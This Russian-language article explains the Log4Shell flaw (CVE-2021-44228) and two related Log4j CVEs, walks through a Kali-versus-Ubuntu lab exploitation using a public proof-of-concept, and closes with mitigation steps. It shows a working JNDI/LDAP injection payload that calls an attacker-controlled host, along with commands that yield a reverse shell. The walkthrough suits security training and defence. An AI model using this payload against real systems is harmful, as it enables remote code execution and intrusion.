Тестирование на проникновение с помощью уязвимости в библиотеке Apache log4j

Дата: 24.12.2021. Автор: Игорь Б. Категории: Статьи по информационной безопасности
Тестирование на проникновение с помощью уязвимости в библиотеке Apache log4j
Programmers Working, Looking At Computer In IT Office. Handsome Young Men In Casual Closes Typing Codes, Working On Computer While Sitting At Workplace. High Quality Image.

В этой статье поговорим об уязвимости в библиотеке Apache log4j. Уязвимость CVE-2021-44228 приводит к выполнению произвольного кода и эксплуатируется тривиально, об этом свидетельствует самый высокий рейтинг по шкале CVSS — 10 баллов.

Log4jshell

CVE-2021-44228

Интерфейс JNDI в Apache Log4j2 2.0-beta9 (до версии 2.14.1) в комбинации с протоколом LDAP позволяют получать и выполнять данные откуда угодно. Хакер может управлять сообщениями журнала или их параметрами и выполнить произвольный код, загруженный с серверов LDAP.

Тип уязвимостиудаленное выполнение кода
Уровень рискакритический
Балл по шкале CVSS10.0
Уязвимые версиивсе версии от 2.0-beta9 до 2.14.1

CVE-2021-45046

Было установлено, что исправление адреса CVE-2021-44228 в Apache Log4j 2.15.0 было неполным при выборе настроек не по умолчанию. Если при конфигурации жонглирования используется нестандартный шаблон с контекстным поиском (например, «$${ctx:LoginID}»), хакеры, контролирующие входные данные Thread Context Map (MDC), способны добавить вредоносные элементы с использованием шаблона JNDI Lookup. Эта уязвимость приводит к утечке информации и дает возможность удаленно выполнять код (в некоторых средах) и локально (во всех средах). Удаленное выполнение кода было продемонстрировано на примере macOS.

Тип уязвимостиудаленное выполнение кода
Уровень рискакритический
Балл по шкале CVSS9.0
Уязвимые версиивсе версии от 2.0-beta9 до 2.15.0, за исключением 2.12.2

CVE-2021-45105

Apache Log4j2 (версии 2.0-alpha1 до 2.16.0) не был защищен от неконтролируемой рекурсии при самостоятельном поиске. Когда при конфигурации жонглирования используется нестандартный шаблон с контекстным поиском (например, «$${ctx:LoginID}»), хакеры, контролирующие входные данные Thread Context Map (MDC), способны добавлять вредоносные элементы, содержащие рекурсивный поиск, что приводит к ошибке StackOverflowError, которая уничтожает весь процесс. Это уязвимость также известна как атака DOS.

Тип уязвимостиDoS
Уровень рискавысокий
Балл по шкале CVSS7.5
Уязвимые версиивсе версии от 2.0-beta9 до 2.16.0

Что такое Log4J

Log4j — библиотека журналирования Java-программ, часть общего проекта «Apache Logging Project». Log4j первоначально развивался в рамках зонтичного «Apache Jakarta Project», ответственного за все Java-проекты Apache, но впоследствии выделился в отдельный, очень популярный проект журналирования.

Что такое LDAP и JNDI

LDAP (Lightweight Directory Access Protocol) – это открытый кроссплатформенный протокол, который используется для аутентификации службы каталогов. Он предоставляет язык общения, который приложение использует для связи с другими службами каталогов. Службы каталогов хранят множество важной информации, среди которой учетные записи пользователей, пароли, учетные записи компьютеров. Эти данные передаются другим устройствам в сети.

JNDI (Java Naming and Directory Interface) – это программный интерфейс приложения, который предоставляет единообразный механизм взаимодействия Java-программы с различными службами имен и каталогов.

Тестирование на проникновение с помощью уязвимости в библиотеке Apache log4j

Взаимодействие JNDI и LDAP

JNDI предоставляет стандартный API для взаимодействия со службами имен и каталогов с использованием Service Provider Interface (SPI). JNDI предоставляет Java-приложениям и объектам многофункциональный и удобный интерфейс (LDAP) для доступа к службам каталогов. На картинке ниже показаны общие для LDAP и JNDI эквивалентные операции.

Тестирование на проникновение с помощью уязвимости в библиотеке Apache log4j

Log4J JNDI Lookup

Lookups – это определенный механизм, который добавляет значения в конфигурацию log4j в произвольных местах. Log4j имеет возможность выполнять несколько Lookups, среди которых поиск карты, системных характеристик и JNDI.

Log4j использует API JNDI для получения имен и каталогов от нескольких доступных поставщиков услуг: LDAP, COS (Common Object Services), реестра Java RMI, DNS. Если эта функциональность реализована, то можно найти эту строку кода («${jndi:logging/context-name}») где-нибудь в программе.

Ниже представлен нормальный сценарий работы библиотеки Log4J

Тестирование на проникновение с помощью уязвимости в библиотеке Apache log4j

Эксплуатация сценария работы библиотеки Log4J

Хакер, который способен управлять сообщениями журнала или их параметрами, может выполнить произвольный код, загруженный с LDAP, на уязвимом сервере, при условии что активна подстановка Lookups. В результате хакер имеет возможность создать специальный запрос, который позволит удаленно загрузить утилиту и выполнить полезную нагрузку.

Тестирование на проникновение с помощью уязвимости в библиотеке Apache log4j
  1. Хакер подставляет JNDI Lookup в поле заголовка, которое, скорее всего, будет залоггено.
  2. Строка отправляется в log4j для логгинга.
  3. Log4j интерполирует строки и запрашивает вредоносный сервер LDAP.
  4. Сервер LDAP в ответ присылает данные о каталоге, что содержат вредоносный файл Java Class.
  5. Java десериализует (или загружает) вредоносный Java Class и выполняет его.

Подготовка пентест-лаборатории

Мы будем использовать Kali VM в качестве атакующей машины и Ubuntu VM – в качестве цели. Итак, пользователь подготовит машину Ubuntu.

git clone https://github.com/kozmer/log4j-shell-poc.git
Тестирование на проникновение с помощью уязвимости в библиотеке Apache log4j

Как только выполнение команды «git clone» будет завершено, пользователь перейдет в каталог log4j-shell-poc. Оказавшись внутри этого каталога, пользователь теперь может выполнить команду Docker:

cd log4j-shell-poc
docker build -t log4j-shell-poc .
Тестирование на проникновение с помощью уязвимости в библиотеке Apache log4j

После этого следует выполнить вторую команду на странице github:

docker run --network host log4j-shell-poc

Эти команды позволят использовать файл Docker для уязвимого приложения.

Тестирование на проникновение с помощью уязвимости в библиотеке Apache log4j

После завершения процессов пользователь подготовит уязвимый сервер веб-приложений. Далее нужно перейти к целевому IP-адресу на порту 8080 в браузере Kali.

Тестирование на проникновение с помощью уязвимости в библиотеке Apache log4j

Можно заметить, что уязвимое приложение Docker, и область, которую задевает эта уязвимость, — это поле имени пользователя. Именно с помощью него пользователь собирается внедрить полезную нагрузку. Итак, подготовка лабы закончена. Целевая машина уязвима, настала пора атаковать ее.

Эксплуатация Log4j (CVE-2021-44228)

На машине Kali нужно клонировать один и тот же репозиторий. Поэтому надо ввести следующую команду:

git clone https://github.com/kozmer/log4j-shell-poc.git
Тестирование на проникновение с помощью уязвимости в библиотеке Apache log4j

Теперь нам нужно установить JDK. Его можно скачать по данной ссылке.

Пользователь выбирает подходящую версию и загружает ее в Kali Linux.

Тестирование на проникновение с помощью уязвимости в библиотеке Apache log4j

Теперь он отправляется в папку Загрузки и распаковывает этот файл, выполнив команду ниже. Он также переместит извлеченный файл в папку /usr/bin.

tar -xf jdk-8u202-linux-x64.tar.gz
mv jdk-8u202 /usr/bin
cd /usr/bin

Далее пользователь выйдет из этого каталога и перейдет в каталог log4j-shell-poc. Эта папка содержит скрипт Python («poc.py») который мы собираемся настроить в соответствии с конфигурацией нашей лабы. Требуется изменить ‘./jdk1.8.2.20/’ на ‘/usr/bin/jdk1.8.0_202/, чтобы изменить путь к местоположению Java и версию Java в скрипте.

Тестирование на проникновение с помощью уязвимости в библиотеке Apache log4j

После внесения всех изменений нужно сохранить файл и подготовиться к началу атаки. На машине хакера, то есть в Kali Linux, следует получить доступ к уязвимому веб-приложению Docker, указав IP-адрес машины Ubuntu: 8080 в браузере.

Пользователь запустит листенер Netcat и начнет атаку.

Тестирование на проникновение с помощью уязвимости в библиотеке Apache log4j

Вводится следующая команда:

python3 poc.py --userip 192.168.29.163 --webport 8000 --lport 9001

При выполнении команды следует убедиться, что пользователь все еще находится в каталоге log4j-shell-poc.

Тестирование на проникновение с помощью уязвимости в библиотеке Apache log4j

Выполнение скрипта запустило вредоносный локальный LDAP-сервер.

Теперь пользователь скопирует полную команду после отправки:

${jndi:ldap://192.168.29.163:1389/a}

Он вставит ее в браузер в поле имя пользователя. Это и будет полезная нагрузка. В поле пароль можно указать все, что угодно.

Тестирование на проникновение с помощью уязвимости в библиотеке Apache log4j

Необходимо нажать на кнопку входа в систему, чтобы выполнить полезную нагрузку. Затем переключиться на окно Netcat, где пользователь должен получить Reverse Shell.

Тестирование на проникновение с помощью уязвимости в библиотеке Apache log4j

Наконец-то пользователь пробрался внутрь этого уязвимого образа докера веб-приложения.

Митигирование рисков

  • CVE-2021-44228: исправлено в Log4j 2.15.0 (Java 8)

Следует применить один из следующих способов митигирования:

  1. Пользователям Java 8 (или более поздних версий) следует обновиться до версии 2.16.0.
  2. Пользователи Java 7 должны обновиться до версии 2.12.2.
  3. В любой версии, отличной от 2.16.0, можно удалить JndiLookup из classpath: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
  4. Пользователям рекомендуется не включать JNDI в Log4j 2.16.0. Если требуется JMS Appender, следует использовать Log4j 2.12.2
  • CVE-2021-45046: исправлено в Log4j 2.12.2 (Java 7) и Log4j 2.16.0 (Java 8)

Следует применить один из следующих способов митигирования:

  1. Пользователям Java 8 (или более поздних версий) следует обновиться до версии 2.16.0.
  2. Пользователи Java 7 должны обновиться до версии 2.12.2.
  3. В любой версии, отличной от 2.16.0, можно удалить JndiLookup из classpath: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
  4. Пользователям рекомендуется не включать JNDI в Log4j 2.16.0. Если требуется JMS Appender, следует использовать Log4j 2.12.2
  • CVE-2021-45105: Исправлено в Log4j 2.17.0 (Java 8)

Следует применить один из следующих способов митигирования:

  1. Пользователи Java 8 (или более поздних версий) должны обновиться до версии 2.17.0.
  2. В PatternLayout при конфигурации логгинга следует заменить контекстные запросы, такие как ${ctx:loginId} или $${ctx:loginId}, шаблонами Thread Context Map %X, %mdc или %MDC).
  3. В противном случае при конфигурации следует удалить ссылки на контекстные Lookups, такие как ${ctx:loginId} или $${ctx:loginId}, если они идут из внешних по отношению к приложению источников, таких как заголовки HTTP или ввод данных пользователей.

Подробнее о митигировании можно почитать здесь.

Автор переведенной статьи: Tirut Hawoldar.

Важно! Информация исключительно в учебных целях. Пожалуйста, соблюдайте законодательство и не применяйте данную информацию в незаконных целях.

Игорь Б

Об авторе Игорь Б

Автор на портале cisoclub.ru. Добавляйте ваш материал на сайт в разделе "Разместить публикацию".
Читать все записи автора Игорь Б

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *